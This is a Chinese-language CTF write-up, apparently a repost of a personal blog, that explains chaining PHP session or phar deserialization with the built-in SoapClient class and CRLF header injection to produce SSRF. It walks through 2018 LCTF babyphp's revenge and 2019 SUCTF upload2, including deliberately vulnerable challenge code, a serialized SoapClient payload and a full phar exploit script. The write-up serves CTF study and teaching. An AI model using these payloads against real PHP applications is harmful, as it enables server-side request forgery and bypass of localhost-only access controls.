前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >当 PHP 反序列化遇上 SSRF

当 PHP 反序列化遇上 SSRF

作者头像
wywwzjj
发布2023-05-09 14:24:39
9070
发布2023-05-09 14:24:39
举报
文章被收录于专栏:wywwzjj 的技术博客

SOAP 简介

SOAP(Simple Object Access Protocol)是一种在 web service 通信时所用的基于 xml 的协议。

远在天边,近在眼前,通过这种协议可以实现“本地”调用的效果。

简单实例

代码语言:javascript
复制
// soapServer
function getTime() {
    return date('Y-m-d', time());
}

$soap = new SoapServer(null,
                      ['uri' => 'abcd']  // namespace of the SOAP service
                      );
$soap->addFunction('getTime');
$soap->handle();


// soapClient
$client = new SoapClient(null,
                        ['location' => 'http://example.com',  // 服务端 URL
                         'uri' => 'abcd']  // 需要与服务端一致(只发起请求可以随意填)
                        );
echo $client->getTime();  // 得到服务端所返回的时间
// 这里非常重要,是反序列化到 SSRF 的核心(实际操作可调用任意方法)
// 这里调用了未定义的方法将唤起 __call 魔术方法,从而向 server 端发起一个请求,实现 SSRF 的效果

还有一个很重要的利用点,CRLF 头注入,一个在 user_agent,一个在 uri,可惜的是这种方式只支持 http 协议。

下面来看一看具体的数据包:

不熟悉 CRLF 头注入利用方法的可以参考一下这篇文章,Trying to hack Redis via HTTP requests

相关例题

2018 LCTF babyphp’s revenge

hint:反序列化

index.php

代码语言:javascript
复制
<?php
highlight_file(__FILE__);
$b = 'implode';
call_user_func($_GET[f], $_POST);
session_start();
if(isset($_GET[name])){
    $_SESSION[name] = $_GET[name];
}
var_dump($_SESSION);
$a = array(reset($_SESSION), 'welcome_to_the_lctf2018');
call_user_func($b, $a);
?>

flag.php

代码语言:javascript
复制
session_start(); 
echo 'only localhost can get flag!';
$flag = 'LCTF{*************************}';
if($_SERVER["REMOTE_ADDR"] === "127.0.0.1"){
    $_SESSION['flag'] = $flag;
}

题目非常简洁,就两个文件。flag 的位置也很明确,但这有一个限制,只有来自 localhost 的访问才能将 flag 写入 session 中,意味着需要 SSRF 或者直接 getshell。

给的提示是反序列化,代码不多,不由得想到 session 里的反序列化,可以看看之前的一个题,从 session 角度学习反序列化 (与此题不相同的一点是,这里直接给了写 session 的接口,两题或许可以结合一下)

参照以前的思路,我们需要设置不同的序列化的处理器,来达到对象注入的目的。如何才能设置呢?

目光继续聚焦于 session_start ,官方文档给了一个重要提示:配置可覆盖(该进程下临时生效就够了)。

那要注入什么要的对象才能达到 SSRF 的目的呢?由于不能定义其他类,只好从内置类想办法,这时候 SoapClient 就可以闪亮登场了,上面已经铺垫了相关知识,这里着重解释处理手法。

代码语言:javascript
复制
$b = new SoapClient(null, ['location' => 'http://127.0.0.1/flag.php',
                           'uri' => "DDD\r\n" . "Cookie: PHPSESSID=2"]);
    					   // 别忘了带 Cookie,不然去哪看 flag :)
echo urlencode(serialize($b));

//O%3A10%3A%22SoapClient%22%3A3%3A%7Bs%3A3%3A%22uri%22%3Bs%3A24%3A%22DDD%0D%0ACookie%3A+PHPSESSID%3D2%22%3Bs%3A8%3A%22location%22%3Bs%3A25%3A%22http%3A%2F%2F127.0.0.1%2Fflag.php%22%3Bs%3A13%3A%22_soap_version%22%3Bi%3A1%3B%7D

可看到语句成功写入 session

再正常访问一下,session 里的语句被成功反序列化成为 SoapClient 对象

有人可能还是会有疑问,为什么一定要这样设置呢,不能赋值进去再自动反序列化吗?

这里多说一下,其实上面的文章已经有写过。先看一下基本的几种序列化的存储方式:

  • php_binary:键名的长度对应的 ASCII 字符 + 键名 + 经过 serialize () 函数序列化处理的值
  • php:键名 + 竖线 + 经过 serialize () 函数序列处理的值
  • php_serialize :经过 serialize () 函数序列化处理的值

从 PHP 文档可查到,默认使用 php 这种序列化格式,也就是已经存在竖线的那种方式。

这种方式的反序列化有个小细节:PHP 获取到 session 字符串后就开始从左至右寻找竖线,找到后以竖线为分隔符,竖线前的为键名,后的做键值,并对键值进行反序列化。如果反序列化失败,则放弃此次解析,再以这样的方式网下寻找继续找。

代码语言:javascript
复制
name|s:163:"|O:10:"SoapClient":4:{s:3:"uri";s:1:"a";s:8:"location"...

像现在这种情况,出现了两个竖线,就会将后面整个 s:163:"O:" 字符串进行反序列化,得到的很可能就只是一个数组。

到这里,我们的对象注入总算是成功了,那该如何调用 __call 呢?

别忘了这还有一个 reset 函数:

reset()array 的内部指针倒回到第一个单元并返回第一个数组单元的值

也就是说,reset($_SESSION) 将返回的就是 SoapClient 对象,这就很棒了,得来全不费功夫。

我们可以先把 $b 覆盖成 call_user_func ,以下面这种形式进行调用:

代码语言:javascript
复制
call_user_func(array(SoapClient Object, 'welcome_to_the_lctf2018'));

再正常访问就可以看到 flag 了。

2019 SUCTF upload2

考点:phar 反序列化、反射、SSRF、SoapClient

简单说一下题目大意,有一个上传点(index.php),限制了图片后缀。

代码语言:javascript
复制
if (isset($_POST["upload"])) {
    // 允许上传的图片后缀
    $allowedExts = array("gif", "jpeg", "jpg", "png");
    $tmp_name = $_FILES["file"]["tmp_name"];
    $file_name = $_FILES["file"]["name"];
    $temp = explode(".", $file_name);
    $extension = end($temp);
    if ((($_FILES["file"]["type"] == "image/gif")
            || ($_FILES["file"]["type"] == "image/jpeg")
            || ($_FILES["file"]["type"] == "image/png"))
        && ($_FILES["file"]["size"] < 204800)   // 小于 200 kb
        && in_array($extension, $allowedExts)
    ) {
        $c = new Check($tmp_name);
        $c->check();
        if ($_FILES["file"]["error"] > 0) {
            echo "错误:: " . $_FILES["file"]["error"] . "<br>";
            die();
        } else {
            move_uploaded_file($tmp_name, $userdir . "/" . md5($file_name) . "." . $extension);
            echo "文件存储在: " . $userdir . "/" . md5($file_name) . "." . $extension;
        }
    } else {
        echo "非法的文件格式";
    }   
}

check(class.php)里检查了是否含有 <?

代码语言:javascript
复制
<?php
include 'config.php';

class File{
    public $file_name;
    public $type;
    public $func = "Check";

    function __construct($file_name){
        $this->file_name = $file_name;
    }

    function __wakeup(){
        $class = new ReflectionClass($this->func);
        $a = $class->newInstanceArgs($this->file_name);
        $a->check();
    }

    function getMIME(){
        $finfo = finfo_open(FILEINFO_MIME_TYPE);
        $this->type = finfo_file($finfo, $this->file_name);
        finfo_close($finfo);
    }

    function __toString(){
        return $this->type;
    }
}

class Check{
    public $file_name;

    function __construct($file_name){
        $this->file_name = $file_name;
    }

    function check(){
        $data = file_get_contents($this->file_name);
        if (mb_strpos($data, "<?") !== FALSE) {
            die("&lt;? in contents!");
        }
    }
}

另外还有一个查看点(func.php)

代码语言:javascript
复制
if(preg_match('/^(ftp|zlib|data|glob|phar|ssh2|compress.bzip2|compress.zlib|rar|ogg|expect)(.|\\s)*|(.|\\s)*(file|data|\.\.)(.|\\s)*/i',$_POST['url'])){
        die("Go away!");
}else{
    $file_path = $_POST['url'];
    $file = new File($file_path);
    $file->getMIME();
    echo "<p>Your file type is '$file' </p>";
}

目标在 admin.php 里

代码语言:javascript
复制
if($_SERVER['REMOTE_ADDR'] == '127.0.0.1') {
    // 拿 flag
}

由此可知只能打 SSRF,加上前面的一系列限制,直接传 webshell 是不太现实的。

综合总的题目情景,前一部分和 hitcon 2017 中的 baby^h-master-php-2017 很像,可由 finfo_file(finfo, this->file_name) 触发反序列化,再通过 soap 打出 SSRF。

以下直接给出 exp:(具体分析可参考 De1ta 的 wp

代码语言:javascript
复制
<?php
$phar = new Phar('test.phar');
$phar->startBuffering();
$phar->addFromString('test.txt','text');
$phar->setStub('__HALT_COMPILER();');  // 并不需要加 <?

class File {
    public $file_name = "";
    public $func = "SoapClient";

    function __construct(){
        $target = "http://127.0.0.1/admin.php";
        $post_string = 'admin=&ip=xxx&port=xx&clazz=SplStack&func1=push&func2=push&func3=push&arg1=123456&arg2=123456&arg3='. "\r\n";
        $headers = [];
        $this->file_name  = [
            null,
            array('location' => $target,
                  'user_agent'=> str_replace('^^', "\r\n", 'xxxxx^^Content-Type: application/x-www-form-urlencoded^^'.join('^^',$headers).'Content-Length: '. (string)strlen($post_string).'^^^^'.$post_string),
                  'uri'=>'1')
        ];
    }
}
$object = new File;
echo urlencode(serialize($object));
$phar->setMetadata($object);
$phar->stopBuffering();

总结

另外还有一些例题,比如:

  • 2018 N1CTF Easy&&Hard PHP
  • 2019 De1taCTF shellshellshell

简单小结一下,这些题的情景大都是这样:

最终目标都受到了 IP 的限制,往往需要打出 SSRF,但并没有找到明显的 SSRF 点,只有一个反序列化的,此时该如何利用呢?

都指向了原生类——SOAPClient,有了两个 CRLF 的助攻,打出去的 POST 报文几乎完全可控。

这样的 SOAP,你喜欢吗 :)

参考链接

http://pupiles.com/lctf2018.html

https://blog.wonderkun.cc/2018/03/13/n1ctf-hard-php-writeup/

https://www.kingkk.com/2018/11/2018-lctf-web-学习篇/

https://www.anquanke.com/post/id/164569

本文参与 腾讯云自媒体同步曝光计划,分享自作者个人站点/博客。
原始发表:2019/08/20,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 作者个人站点/博客 前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体同步曝光计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • SOAP 简介
  • 相关例题
    • 2018 LCTF babyphp’s revenge
      • 2019 SUCTF upload2
      • 总结
      • 参考链接
      相关产品与服务
      云数据库 Redis
      腾讯云数据库 Redis(TencentDB for Redis)是腾讯云打造的兼容 Redis 协议的缓存和存储服务。丰富的数据结构能帮助您完成不同类型的业务场景开发。支持主从热备,提供自动容灾切换、数据备份、故障迁移、实例监控、在线扩容、数据回档等全套的数据库服务。
      领券
      问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档